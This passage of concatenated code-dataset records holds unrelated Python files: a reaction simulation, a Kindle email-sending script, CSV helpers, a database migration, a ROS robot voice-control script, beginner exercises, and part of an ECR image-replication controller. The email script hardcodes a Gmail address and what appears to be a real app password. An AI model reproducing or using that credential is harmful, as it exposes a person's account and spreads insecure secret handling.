(-v_S, v_S, v_S )\r\n return v\r\n\r\ninputs = {}\r\ninputs[\"SeedFile\"] = \"PGA400R72.rde\" # filename where the simulation will be stored\r\ninputs[\"SimulationTime\"] = 120.*60 # [s], total time to be simulated \r\ninputs[\"SavingTimeStep\"] = 60. # [s], saves only one data per second\r\ninputs[\"CatalystVolume\"] = 0.0350 # [mL], total volume of all catalyst particles in reactor\r\ninputs[\"BulkVolume\"] = 40.3 # [mL], bulk volume of the liquid phase\r\ninputs[\"Names\"] = ('PenG', 'AFA', '6-APA') # legend for the xls, reports and plots\r\ninputs[\"InitialConcentrations\"] = (10.0, 0., 0.) # [mM], initial concentration of substrates and products\r\ninputs[\"EffectiveDiffusionCoefficients\"] = (5.30E-10, 7.33E-10, 5.89E-10) # [m2/s], effective diffusion coefficient for substrates and products\r\ninputs[\"CatalystParticleRadius\"] = (75.7E-6,) # [m], list of possible catalyst particle radiuses\r\ninputs[\"CatalystParticleRadiusFrequency\"] = (1.0,) # [], list of corresponding frequencies of catalyst particle radiuses\r\ninputs[\"ReactionFunction\"] = PenG_HydrolysisReaction # function defining the reaction \r\ninputs[\"ReactionParameters\"] = 41., 0.13, 821., 1.82, 48. #[1/s] and [mM] parameters to be used in the reaction function \r\ninputs[\"CatalystEnzymeConcentration\"] = 0.106 # [mM] can be a float, int or a function returning float or int.\r\n\r\nplot_options = {}\r\nplot_options[\"t_exp\"] = [0, 2, 4, 6, 8, 10, 20, 30, 45, 60, 80, 100, 120] # Time in mins\r\nplot_options[\"PenG_exp\"] = [10.00, 9.46, 9.01, 8.56, 8.17, 7.79, 5.63, 3.90, 2.06, 0.95, 0.35, 0.12, 0] # Concentration\r\n\r\n# Define filename for storing the simulation and plots\r\nfilename = \"PGA400R72.rde\"\r\n\r\n# Simulate only if file not found\r\nSI = pypsdier.SimulationInterface()\r\nif os.path.exists(filename):\r\n SI.load(filename)\r\nelse:\r\n SI.new(inputs, plot_options)\r\n SI.simulate(\"ode\")\r\n SI.simulate(\"pde\")\r\n SI.save(filename)\r\nSI.status()\r\nSI.plot(\"plot\", display=True)\r\nSI.export_xls(filename.replace(\".rde\", \".xls\"))","sub_path":"experiments/PGA400R72.py","file_name":"PGA400R72.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"373701696","text":"#!/usr/bin/python2\n\n#Only work in ArchLinux\n\nimport os\nimport smtplib\nimport mimetypes\nimport sys\nfrom email.MIMEMultipart import MIMEMultipart\nfrom email.MIMEBase import MIMEBase\nfrom email.MIMEText import MIMEText\nfrom email.MIMEAudio import MIMEAudio\nfrom email.MIMEImage import MIMEImage\nfrom email.Encoders import encode_base64\n\ndef sendMail(subject, text, *attachmentFilePaths):\n gmailUser = 'yangling1984@gmail.com'\n gmailPassword = 'enurcamuahyparfb'\n recipient = 'yangling1984@free.kindle.cn'\n\n msg = MIMEMultipart()\n msg['From'] = gmailUser\n msg['To'] = recipient\n msg['Subject'] = subject\n msg.attach(MIMEText(text))\n\n for attachmentFilePath in attachmentFilePaths:\n msg.attach(getAttachment(attachmentFilePath))\n\n mailServer = smtplib.SMTP('smtp.gmail.com', 587)\n mailServer.ehlo()\n mailServer.starttls()\n mailServer.ehlo()\n mailServer.login(gmailUser, gmailPassword)\n mailServer.sendmail(gmailUser, recipient, msg.as_string())\n mailServer.close()\n\n print('Sent email to %s' % recipient)\n\ndef getAttachment(attachmentFilePath):\n contentType, encoding = mimetypes.guess_type(attachmentFilePath)\n\n if contentType is None or encoding is not None:\n contentType = 'application/octet-stream'\n\n mainType, subType = contentType.split('/', 1)\n file = open(attachmentFilePath, 'rb')\n\n if mainType == 'text':\n attachment = MIMEText(file.read())\n elif mainType == 'message':\n attachment = email.message_from_file(file)\n elif mainType == 'image':\n attachment = MIMEImage(file.read(),_subType=subType)\n elif mainType == 'audio':\n attachment = MIMEAudio(file.read(),_subType=subType)\n else:\n attachment = MIMEBase(mainType, subType)\n attachment.set_payload(file.read())\n encode_base64(attachment)\n\n file.close()\n\n attachment.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attachmentFilePath))\n return attachment\n\ndef clearKindleFolder(*kindleFolderFiles):\n if len(kindleFolderFiles) == 0:\n print('No file to clear')\n return\n for onefile in kindleFolderFiles:\n os.remove(onefile)\n print('%s is deleted' % onefile)\n\nkindleFileFolder = '/home/yangling/Documents/Kindle/'\nchecksum_files = []\nfor theFile in os.listdir(kindleFileFolder):\n print(theFile)\n fullpath = os.path.join(kindleFileFolder, theFile)\n print(fullpath)\n if os.path.isfile(fullpath):\n checksum_files += [fullpath]\nprint(','.join(checksum_files))\nif len(sys.argv) == 1:\n # No argument, load file from kindlefilefolder\n if len(checksum_files) == 0:\n print('There is no file in %s' % kindleFileFolder)\n else:\n sendMail('convert','convert',*checksum_files)\n clearKindleFolder(*checksum_files)\nelif len(sys.argv) == 2:\n # The argument is either \"-n\" or file path\n if str(sys.argv[1]) == '-n':\n #load file from kindlefilefolder, but not convert\n if len(checksum_files) == 0:\n print('There is no file in %s' % kindleFileFolder)\n else:\n sendMail(' ',' ',*checksum_files)\n clearKindleFolder(*checksum_files)\n else:\n # the argument is file path\n sendMail('convert','convert',str(sys.argv[1]))\nelif len(sys.argv) == 3:\n # the argument is file path and \"-n\"\n if str(sys.argv[1]) == '-n':\n sendMail(' ',' ',str(sys.argv[2]))\n elif str(sys.argv[2]) == '-n':\n sendMail(' ',' ',str(sys.argv[1]))\n else:\n print('Invalid argument.')\nelse:\n print('Invalid argument. You must specify a file. Append \"-n\" if you dont want convert')\n","sub_path":"send-mail.py","file_name":"send-mail.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"574304141","text":"import csv\nfrom dataframe import DataFrame\n\ndef empty(l):\n for c in l:\n if len(c.strip()) > 0: return False\n return True\n\ndef loadCSV(path):\n csvFile = open(path)\n\n players = dict()\n colNames = []\n firstRow = True\n for line in csv.reader(csvFile.readlines()):\n if empty(line):\n continue\n if firstRow:\n for name in line:\n name = name.strip()\n colNames.append(name)\n players[name] = []\n firstRow = False\n continue\n for i, value in enumerate(line):\n players[colNames[i]].append(value.strip())\n\n return DataFrame(players, colNames)\n\ndef exportCSV(dataframe, path):\n csvFile = open(path, 'w')\n csvFile.write(','.join(dataframe.colNames) + '\\n')\n for i in range(dataframe.nRows()):\n csvFile.write(','.join(dataframe.getRow(i)) + '\\n')\n csvFile.close()","sub_path":"csvutil.py","file_name":"csvutil.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"433693377","text":"from sqlalchemy import *\nfrom migrate import *\n\n\nfrom migrate.changeset import schema\npre_meta = MetaData()\npost_meta = MetaData()\nbrand = Table('brand', post_meta,\n Column('id', Integer, primary_key=True, nullable=False),\n Column('name', String),\n)\n\nfood = Table('food', post_meta,\n Column('id', Integer, primary_key=True, nullable=False),\n Column('name', String),\n Column('category', String),\n Column('cal', Float),\n Column('fat', Float),\n Column('sfat', Float),\n Column('tfat', Float),\n Column('chol', Float),\n Column('salt', Float),\n Column('carb', Float),\n Column('fiber', Float),\n Column('sugar', Float),\n Column('protein', Float),\n Column('brand_id', Integer),\n)\n\n\ndef upgrade(migrate_engine):\n # Upgrade operations go here. Don't create your own engine; bind\n # migrate_engine to your metadata\n pre_meta.bind = migrate_engine\n post_meta.bind = migrate_engine\n post_meta.tables['brand'].create()\n post_meta.tables['food'].columns['brand_id'].create()\n\n\ndef downgrade(migrate_engine):\n # Operations to reverse the above upgrade go here.\n pre_meta.bind = migrate_engine\n post_meta.bind = migrate_engine\n post_meta.tables['brand'].drop()\n post_meta.tables['food'].columns['brand_id'].drop()\n","sub_path":"db_repository/versions/002_migration.py","file_name":"002_migration.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"360428843","text":"########################################\n# EMR 2021 PROJEKT - SPRACH EREKENNUNG #\n########################################\n\n# Mitglieder:\n\n# Marcel Heinen\n# Sergey Rogachevsky\n# Yosua Kurniawan\n\n# se_youbot-real_demo1.py Python 3.8.10 tested and works (18.08.2021) \n\n# Known Issues:\n# time delay between Computer due to wireless connection (Real Robot when using wireless connectivity)\n# awful sphinx audio accuracy\n# sphinx audio could not recieve any numerical audio input\n\n# Library and Packages:\n\n# Speech Recognition:\n\n# $ pip install SpeechRecognition\n\n# FOR WINDOWS USER NEED TO ADD:\n\n# $ pip install pipwin\n# $ pipwin install pyaudio\n\n# FOR UBUNTU USER NEED TO ADD:\n\n# $ sudo apt-get install portaudio19-dev python3-pyaudio\n# $ pip install PyAudio\n\n# pocketsphinx:\n\n# $ sudo apt install -y libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev\n# $ sudo apt-get install swig3.0 or $ sudo apt-get install swig (only god knows)\n# $ sudo pip install pocketsphinx\n\n# rospy:\n\n# $ sudo apt install python-rospy\n\n# pyaudio:\n\n# $ sudo apt install python3-pyaudio\n\n# In real youBot (the same as roscore terminal):\n\n# roslaunch youbot_driver_ros_interface youbot_driver.launch\n\n######################################################################\n# import all required libraries\nimport speech_recognition as sr\nfrom geometry_msgs.msg import Twist\nfrom nav_msgs.msg import Odometry\nimport rospy\nimport time\nimport math\n\n# define initial position of the robot\nx=0\ny=0\nyaw=0\n\n# initiate ros node\ndef init():\n global msg, velocity_publisher, pose_subscriber\n # define initial speed to zero\n msg = Twist()\n msg.linear.x = 0\n msg.linear.y = 0\n msg.angular.x = 0\n msg.angular.y = 0\n # create ros node\n try:\n \n rospy.init_node('se_youbot', anonymous=True)\n\n # declare velocity publisher\n cmd_vel_topic = \"/cmd_vel\"\n velocity_publisher = rospy.Publisher(cmd_vel_topic, Twist, queue_size=10)\n\n # #declare pose subscriber\n position_topic = \"/odom\"\n pose_subscriber = rospy.Subscriber(position_topic, Odometry, poseCallback) \n\n time.sleep(2)\n \n except rospy.ROSInterruptException:\n rospy.loginfo(\"node terminated.\")\n\n# function to get position \ndef poseCallback(pose_message):\n global x\n global y, yaw\n x= pose_message.pose.pose.position.x\n y= pose_message.pose.pose.position.y\n\n# function to get audio input using microphone as source\ndef get_audio():\n r = sr.Recognizer()\n with sr.Microphone() as source:\n audio = r.listen(source)\n text = \"\"\n try:\n # text = r.recognize_google(audio)\n text = r.recognize_sphinx(audio) # using pocket sphinx instead of google\n print(text)\n except:\n print(\"Unrecognizeable\")\n return text\n\n# make a list of each words and phrasing audio input into string data; return the direction as string value\ndef phrasing_audio_direction():\n text_lst_direction = \"\"\n direction = \"\"\n determine_direction = True\n\n while determine_direction: \n print(\"Give direction input (forward, backward, left, right) :\")\n text_lst_direction = get_audio()\n if \"forward\" in text_lst_direction:\n print(\"Moving Forward\")\n direction = \"forward\"\n determine_direction = False\n return direction\n elif \"backward\" in text_lst_direction:\n print(\"Moving Backward\")\n direction = \"backward\"\n determine_direction = False\n return direction\n elif \"left\" in text_lst_direction:\n print(\"Turning Left\")\n direction = \"left\"\n determine_direction = False\n return direction\n elif \"right\" in text_lst_direction:\n print(\"Turning Right\")\n direction = \"right\"\n determine_direction = False\n return direction \n else:\n print(\"UNABLE TO RECOGNIZE COMMAND TRY AGAIN, error: 1\")\n determine_direction = True\n\n# make a list of each words and phrasing audio input into string data and check whether it is convertable into int; return the data as string data\ndef phrasing_audio_distance():\n text_lst_distance = \"\"\n distance = \"\"\n determine_distance = True\n max_distance = 3 # declare max distance\n\n while determine_distance: \n print(\"Give distance value (number):\")\n text_lst_distance = input('Type a int value number 1 - 3') # use string input instead of audio input\n\n if isinstance(text_lst_distance, str) == True and str.isdigit(text_lst_distance) == False: # check if text_lst_distance recieve any string and if it can be converted to an int\n print(\"UNABLE TO RECOGNIZE COMMAND TRY AGAIN, error: 2\")\n determine_distance = True\n\n elif int(text_lst_distance) < max_distance: # text_lst_distance must recieve string value that is able to be converted to an int\n distance = text_lst_distance\n print(distance + \" m\")\n determine_distance = False\n return distance\n\n else:\n print(\"UNABLE TO RECOGNIZE COMMAND TRY AGAIN, error: 3\")\n determine_distance = True\n\n# function to move the robot based on audio input\ndef move():\n # declare a Twist message to send velocity commands\n msg = Twist()\n # get current location \n global x, y, speed\n x0=x\n y0=y\n speed = 0.1 # define the speed of turtle\n direction = phrasing_audio_direction()\n distance = phrasing_audio_distance()\n\n if direction == 'forward':\n msg.linear.x = abs(speed)\n elif direction == 'backward':\n msg.linear.x = -abs(speed)\n elif direction == 'left':\n msg.linear.y = abs(speed)\n elif direction == 'right':\n msg.linear.y = -abs(speed) \n \n distance_moved = 0.0\n loop_rate = rospy.Rate(10) # we publish the velocity at 10 Hz (10 times a second) \n cmd_vel_topic = '/cmd_vel'\n velocity_publisher = rospy.Publisher(cmd_vel_topic, Twist, queue_size=10)\n\n while True :\n rospy.loginfo(\"youBot move: \" + direction +\" for \" + distance + \" m\")\n velocity_publisher.publish(msg)\n\n loop_rate.sleep()\n # calculate the distance between current and initial position\n distance_moved = abs(0.5 * math.sqrt(((x-x0) ** 2) + ((y-y0) ** 2)))\n print(distance_moved) \n if not (distance_moved < int(distance)): # distance(str) will be converted into int\n rospy.loginfo(\"reached\")\n break\n \n # finally, stop the robot when desiered distance reached\n msg.linear.x =0\n msg.linear.y =0\n velocity_publisher.publish(msg)\n\nif __name__ == '__main__':\n\n init()\n move()\n\n","sub_path":"main/se_youbot-real_demo1.py","file_name":"se_youbot-real_demo1.py","file_ext":"py","file_size_in_byte":6980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"185993786","text":"juliet = {\n 'first_name': 'Adams smith',\n 'school': 'st johns grammer',\n 'age': 22,\n}\nevans = {\n 'first_name': 'evans opoku',\n 'school': 'west africa',\n 'age': 26\n}\npeople = [juliet, evans]\nfor i in people:\n print(i)\nschool = input('the name of the school is: ')\nprint(f'\\nthe name of the school is {school}')\n\n# Sometimes you’ll want to write a prompt that’s longer\n# than one line. You can assign your prompt to a variable and\n# pass that variable to the input() function\n\nprompt = \"\\nIf you tell us who you are, we can personalize the messages you see.\"\nprompt += \"\\nWhat is your first name? \"\n\nname = input(prompt)\nprint(f'\\nHello, {name}')\n\nheight = int(input('\\nplease input your height: \\n'))\nif height >= 48:\n print('you can ride roller coaster')\nelif height <= 47:\n print('may be next year')\n\n# determining if number is even or odd\nnum = int(input('\\nplease enter number: '))\n\nwhile num < 0 or num == 0:\n if num == 0:\n print('TraceBack: value input error')\n num = int(input('\\nplease enter number: '))\n elif num < 0:\n print('please input +ve values ')\n num = int(input('\\nplease enter number: '))\nelse:\n if num % 2 == 0:\n print('Number given is even')\n elif num % 2 == 1:\n print('number given maybe odd')\n else:\n print('cant determine number')\n\nprompt = \"\\nTell me something, and I will repeat it back to you:\"\nprompt += \"\\nEnter 'quit' to end the program. \"\n\nmessage = ' '\nwhile message != 'quit':\n message = input(f'\\n{prompt}')\n if message != 'quit':\n print(message)\n# adding flags to a program, below program performs similarly\n# like the above code\nactive = True\nwhile active:\n message = input(prompt)\n if message == 'quit':\n active = False\n else:\n print(message)\n\n# using break statements in code\nprompt = '\\nPlease enter the name of a city you have visited: '\nprompt += '\\n(Enter quit when done) '\nwhile True:\n city = input(prompt)\n if city == 'quit':\n break\n else:\n print(f'I would love to go to {city.title()}!')\n\n# using the continue statement, printing odd numbers\ncurrent_number = 0\nwhile current_number < 10:\n current_number += 1\n if current_number % 2 == 0:\n continue\n print(current_number)\n\n# loops with Lists and Dictionaries\nusers = ['abena', 'nyamesem', 'frema opare']\nnew_users = []\nwhile users:\n current_user = users.pop()\n print(f\"verifying user: {current_user.title()}\")\n new_users.append(current_user)\nprint('\\nThe following users have been confirmed: ')\nfor u in new_users:\n print(u.title())\n# Removing All Instances of Specific Values from a List\npets = ['dog', 'cat', 'dog', 'goldfish', 'cat', 'rabbit', 'cat']\nprint(f'\\n{pets}')\n\nwhile 'cat' in pets:\n pets.remove('cat')\nprint(pets)\n\n# Filling a Dictionary with User Input\nresponse = {}\n# Set a flag to indicate that polling is active.\npolling_active = True\nwhile polling_active:\n name = input('\\nWhat is your name: ')\n name2 = input('Where do you intend going: ')\n\n response[name] = name2\n repeat = input(\"Would you like to let another person respond?\"\n \" (yes/ no) \")\n if repeat == \"no\":\n polling_active = False\nprint(f'\\n{response}')\n\nprint(\"\\n--- Poll Results ---\")\nfor name, response in response.items():\n print(f\"{name} would like to climb {response}.\")\nprint('')\n\n\ndef greet_user(username):\n \"\"\"Display a simple greeting.\"\"\"\n print(f\"Hello, {username.title()}!\")\n\n\ngreet_user('jesse')\n\n\ndef favorite_book(title):\n '''displays title of a book'''\n print(f'one of my favourite books is {title}')\n\n\nfavorite_book('Alice wonderland')\n\n\ndef animal(type, name):\n \"\"\"describes animal type and name\"\"\"\n print(f'I have a {type}')\n print(f'My {type}\\'s name is {name}')\n\n\nanimal('fowls', 'meneku')\n\n\ndef function(x, y):\n \"\"\"fxn to add two numbers\"\"\"\n return x + y\n\n\nsummf = function(y=8, x=12)\nprint(summf)\n\n\ndef display_info(work, age, ple):\n \"\"\"dunction to display name and age\"\"\"\n age = input('please age must be more than 18: ')\n\n print(f'your work is {work}, name is {ple} and age is {age}')\n\n\ndisplay_info('developer', 18, 'ernest lipson')\n\n\ndef describe_pet(animal_type, pet_name):\n \"\"\"Display information about a pet.\"\"\"\n\n print(f\"\\nI have a {animal_type}.\")\n print(f\"My {animal_type}'s name is {pet_name.title()}.\")\n\n\ndescribe_pet(animal_type='hamster', pet_name='harry')\ndescribe_pet(pet_name='harry', animal_type='hamster')\n# both function calls above are equivalent\n\n\ndef describee_pet(self, parameter_list='dog'):\n \"\"\"function to name animal type setting default value to dog\"\"\"\n print(f'\\nI have animal {self}')\n print(f'My animals name is {parameter_list}')\n\n\ndescribee_pet('cow')\n\n# Avoiding Argument Errors\n# Unmatched arguments occur when you\n# provide fewer or more arguments than a function needs to do its work.\ntext = input('please input text you want printed')\n\n\ndef make_shirt(size, text):\n \"\"\"to make a shirt\"\"\"\n print(f'the size of your shirt is {size} and the message'\n f'printed on it is {text}')\n\n\nmake_shirt(18, text)\n\n\ndef get_formatted_name(first_name, middle_name, last_name):\n \"\"\"Return a full name, neatly formatted.\"\"\"\n full_name = f\"{first_name} {middle_name} {last_name}\"\n return full_name.title()\n\n\nmusician = get_formatted_name('john', 'lee', 'hooker')\nprint(musician)\n\n# making an argument optional\n\n\ndef get_formatted_name(first_name, last_name, middle_name=''):\n '''return a full name fullt formatted'''\n if middle_name:\n fullname = f'{first_name} {middle_name} {last_name}'\n else:\n fullname = f'{first_name} {last_name}'\n return fullname\n\n\nname = get_formatted_name('lipson', 'kwabena', 'boateng')\nprint(name)\nname_two = get_formatted_name('ernest'.capitalize(),\n 'ayew'.capitalize())\n\n\ndef squares(a, b):\n \"\"\"Python code to print all the perfect\n square numbers between a and b\"\"\"\n Lists = []\n for i in range(a, b+1):\n j = 1\n while j*j <= i:\n if j*j == i:\n Lists.append(i)\n j = j+1\n i = i+1\n return Lists\n\n\nprint(squares(1, 500))\n","sub_path":"python_works/pcceg/pcceg_four.py","file_name":"pcceg_four.py","file_ext":"py","file_size_in_byte":6195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"634420738","text":"# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\").\n# You may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nimport os\nimport re\nimport time\nfrom multiprocessing import Queue, synchronize\nfrom queue import Empty\nfrom typing import Any, Dict, Optional, cast\n\nimport boto3\nimport yaml\nfrom kubernetes import dynamic\nfrom kubernetes.dynamic import exceptions as k8s_exceptions\nfrom orbit_controller import ORBIT_API_GROUP, ORBIT_API_VERSION, dump_resource, dynamic_client, logger\nfrom urllib3.exceptions import ReadTimeoutError\n\n\ndef _verbosity() -> int:\n try:\n return int(os.environ.get(\"ORBIT_CONTROLLER_LOG_VERBOSITY\", \"0\"))\n except Exception:\n return 0\n\n\ndef _generate_buildspec(repo_host: str, repo_prefix: str, src: str, dest: str) -> Dict[str, Any]:\n repo = dest.replace(f\"{repo_host}/\", \"\").split(\":\")[0]\n build_spec = {\n \"version\": 0.2,\n \"phases\": {\n \"install\": {\n \"runtime-versions\": {\"python\": 3.7, \"docker\": 19},\n \"commands\": [\n (\n \"nohup /usr/sbin/dockerd --host=unix:///var/run/docker.sock \"\n \"--host=tcp://0.0.0.0:2375 --storage-driver=overlay&\"\n ),\n 'timeout 15 sh -c \"until docker info; do echo .; sleep 1; done\"',\n ],\n },\n \"pre_build\": {\n \"commands\": [\n \"/var/scripts/retrieve_docker_creds.py && echo 'Docker logins successful' \"\n \"|| echo 'Docker logins failed'\",\n f\"aws ecr get-login-password | docker login --username AWS --password-stdin {repo_host}\",\n (\n f\"aws ecr create-repository --repository-name {repo} \"\n f\"--tags Key=Env,Value={repo_prefix} || echo 'Already exists'\"\n ),\n ]\n },\n \"build\": {\"commands\": [f\"docker pull {src}\", f\"docker tag {src} {dest}\", f\"docker push {dest}\"]},\n },\n }\n logger.debug(\"BuildSpec: %s\", build_spec)\n return build_spec\n\n\ndef _replicate_image(config: Dict[str, Any], src: str, dest: str) -> str:\n logger.info(\"Replicating Image: %s -> %s\", src, dest)\n\n buildspec = yaml.safe_dump(_generate_buildspec(config[\"repo_host\"], config[\"repo_prefix\"], src, dest))\n logger.debug(\"BuildSpec:\\n%s\", buildspec)\n\n client = boto3.client(\"codebuild\")\n build_id = client.start_build(\n projectName=config[\"codebuild_project\"],\n sourceTypeOverride=\"NO_SOURCE\",\n buildspecOverride=buildspec,\n timeoutInMinutesOverride=config[\"codebuild_timeout\"],\n privilegedModeOverride=True,\n imageOverride=config[\"codebuild_image\"],\n )[\"build\"][\"id\"]\n\n logger.info(\"Started CodeBuild Id: %s\", build_id)\n\n while True:\n build = client.batch_get_builds(ids=[build_id])[\"builds\"][0]\n status: str = build[\"buildStatus\"]\n phase: str = build[\"currentPhase\"]\n\n logger.debug(\"CodeBuild Id: %s, Phase: %s, Status: %s\", build_id, phase, status)\n\n if status == \"IN_PROGRESS\":\n time.sleep(10)\n continue\n else:\n return status\n\n\ndef get_config(workers: Optional[int] = None) -> Dict[str, Any]:\n config = {\n \"repo_host\": os.environ.get(\"IMAGE_REPLICATIONS_REPO_HOST\", \"\"),\n \"repo_prefix\": os.environ.get(\"IMAGE_REPLICATIONS_REPO_PREFIX\", \"\"),\n \"codebuild_project\": os.environ.get(\"IMAGE_REPLICATIONS_CODEBUILD_PROJECT\", \"\"),\n \"codebuild_timeout\": int(os.environ.get(\"IMAGE_REPLICATIONS_CODEBUILD_TIMEOUT\", \"30\")),\n \"codebuild_image\": os.environ.get(\"ORBIT_CODEBUILD_IMAGE\", \"\"),\n \"replicate_external_repos\": os.environ.get(\"IMAGE_REPLICATIONS_REPLICATE_EXTERNAL_REPOS\", \"False\").lower()\n in [\"true\", \"yes\", \"1\"],\n \"workers\": workers if workers else int(os.environ.get(\"IMAGE_REPLICATIONS_WATCHER_WORKERS\", \"2\")),\n }\n return config\n\n\ndef get_desired_image(config: Dict[str, Any], image: str) -> str:\n external_ecr_match = re.compile(r\"^[0-9]{12}\\.dkr\\.ecr\\..+\\.amazonaws.com/\")\n public_ecr_match = re.compile(r\"^public.ecr.aws/.+/\")\n\n if image.startswith(config[\"repo_host\"]):\n return image\n elif external_ecr_match.match(image):\n if config[\"replicate_external_repos\"]:\n return external_ecr_match.sub(\n f\"{config['repo_host']}/{config['repo_prefix']}/\", image.replace(\"@sha256\", \"\")\n )\n else:\n return image\n elif public_ecr_match.match(image):\n return public_ecr_match.sub(f\"{config['repo_host']}/{config['repo_prefix']}/\", image.replace(\"@sha256\", \"\"))\n else:\n return f\"{config['repo_host']}/{config['repo_prefix']}/{image.replace('@sha256', '')}\"\n\n\ndef get_replication_status(\n lock: synchronize.Lock,\n queue: Queue, # type: ignore\n statuses: Dict[str, str],\n image: str,\n desired_image: str,\n) -> str:\n with lock:\n status = statuses.get(desired_image, \"Unknown\")\n\n if status == \"Unknown\":\n if image_replicated(desired_image):\n logger.debug(\"Skipping previously completed Replication Task: %s -> %s\", image, desired_image)\n status = \"Complete\"\n statuses[desired_image] = status\n else:\n logger.debug(\"Queueing Replication Task: %s -> %s\", image, desired_image)\n status = \"Pending:1\"\n statuses[desired_image] = status\n queue.put({\"src\": image, \"dest\": desired_image})\n elif status.startswith(\"Failed\"):\n attempt = int(status.split(\":\")[1])\n if attempt < 3:\n attempt = attempt + 1\n logger.debug(\"Queueing Failed Replication Task Attemp %s: %s -> %s\", attempt, image, desired_image)\n statuses[desired_image] = f\"Pending:{attempt}\"\n queue.put({\"src\": image, \"dest\": desired_image})\n else:\n logger.error(\"Too many failed replication attempts: %s -> %s\", image, desired_image)\n\n return status\n\n\ndef image_replicated(image: str) -> bool:\n try:\n repo, tag = image.split(\":\")\n repo = \"/\".join(repo.split(\"/\")[1:])\n client = boto3.client(\"ecr\")\n paginator = client.get_paginator(\"list_images\")\n for page in paginator.paginate(repositoryName=repo):\n for imageId in page[\"imageIds\"]:\n if imageId.get(\"imageTag\", None) == tag:\n logger.debug(\"ECR Repository contains Image: %s\", image)\n return True\n logger.debug(\"Tag %s not found in ECR Repository %s\", tag, repo)\n return False\n except Exception as e:\n logger.exception(e)\n return False\n\n\ndef create_image_replication(\n namespace: str,\n images: Dict[str, str],\n client: dynamic.DynamicClient,\n request_logger: Optional[logging.Logger] = None,\n) -> None:\n _logger = request_logger if request_logger else logger\n api = client.resources.get(api_version=ORBIT_API_VERSION, group=ORBIT_API_GROUP, kind=\"ImageReplication\")\n image_replication = {\n \"apiVersion\": f\"{ORBIT_API_GROUP}/{ORBIT_API_VERSION}\",\n \"kind\": \"ImageReplication\",\n \"metadata\": {\n \"generateName\": \"image-replication-\",\n },\n \"spec\": {\"images\": [{\"destination\": k, \"source\": v} for k, v in images.items()]},\n }\n api.create(namespace=namespace, body=image_replication)\n _logger.debug(\"Created image_replication: %s\", dump_resource(image_replication))\n\n\ndef delete_image_replication(\n image_replication: Dict[str, Any],\n client: dynamic.DynamicClient,\n request_logger: Optional[logging.Logger] = None,\n) -> None:\n _logger = request_logger if request_logger else logger\n api = client.resources.get(api_version=ORBIT_API_VERSION, group=ORBIT_API_GROUP, kind=\"ImageReplication\")\n api.delete(namespace=image_replication[\"metadata\"][\"namespace\"], name=image_replication[\"metadata\"][\"name\"])\n _logger.debug(\"Deleted image_replication: %s\", dump_resource(image_replication))\n\n\ndef watch(\n lock: synchronize.Lock,\n queue: Queue, # type: ignore\n state: Dict[str, Any],\n statuses: Dict[str, Any],\n config: Dict[str, str],\n) -> int:\n while True:\n try:\n client = dynamic_client()\n api = client.resources.get(api_version=ORBIT_API_VERSION, group=ORBIT_API_GROUP, kind=\"ImageReplication\")\n\n logger.info(\"Monitoring ImageReplications\")\n\n kwargs = {\n \"resource_version\": state.get(\"lastResourceVersion\", 0),\n }\n for event in api.watch(**kwargs):\n if _verbosity() > 2:\n logger.debug(\"event object: %s\", event)\n image_replication = event[\"raw_object\"]\n state[\"lastResourceVersion\"] = image_replication.get(\"metadata\", {}).get(\"resourceVersion\", 0)\n logger.debug(\"watcher state: %s\", state)\n\n if event[\"type\"] == \"ADDED\":\n for image in image_replication.get(\"spec\", {}).get(\"images\", []):\n status = get_replication_status(\n lock=lock,\n queue=queue,\n statuses=statuses,\n image=image[\"source\"],\n desired_image=image[\"destination\"],\n )\n logger.info(\"Replication Status: %s %s\", image, status)\n delete_image_replication(image_replication=image_replication, client=client)\n else:\n logger.debug(\n \"Skipping ImageReplication event for processing type: %s image_replication: %s\",\n event[\"type\"],\n dump_resource(image_replication),\n )\n except ReadTimeoutError:\n logger.warning(\n \"There was a timeout error accessing the Kubernetes API. Retrying request.\",\n exc_info=True,\n )\n time.sleep(1)\n except k8s_exceptions.ApiException as ae:\n if ae.reason.startswith(\"Expired: too old resource version\"):\n logger.warning(ae.reason)\n state[\"lastResourceVersion\"] = 0\n else:\n logger.exception(\"Unknown ApiException in ImageReplicationWatcher. Failing\")\n raise\n except Exception:\n logger.exception(\"Unknown error in ImageReplicationWatcher. Failing\")\n raise\n else:\n state[\"lastResourceVersion\"] = \"0\"\n logger.warning(\n \"Watch died gracefully, starting back up with a reset resource_version: %s\",\n state[\"lastResourceVersion\"],\n )\n\n\ndef process_image_replications(\n lock: synchronize.Lock,\n queue: Queue, # type: ignore\n state: Dict[str, Any],\n statuses: Dict[str, Any],\n config: Dict[str, str],\n replicator_id: int,\n timeout: Optional[int] = None,\n) -> int:\n logger.info(\"Started ImageReplication Processor Id: %s\", replicator_id)\n replication_task: Optional[Dict[str, str]] = None\n\n while True:\n try:\n queue_size = queue.qsize()\n logger.info(f\"Queue Size: {queue_size}\")\n\n replication_task = cast(Dict[str, str], queue.get(block=True, timeout=timeout))\n src, dest = replication_task[\"src\"], replication_task[\"dest\"]\n\n with lock:\n logger.info(\"Got Replication Task: %s -> %s\", src, replication_task[\"dest\"])\n\n status = statuses[dest]\n if status == \"Complete\":\n logger.info(\"Skipping Completed Task: %s -> %s\", src, dest)\n continue\n elif status.startswith(\"Failed\"):\n logger.info(\"Skipping Failed Task: 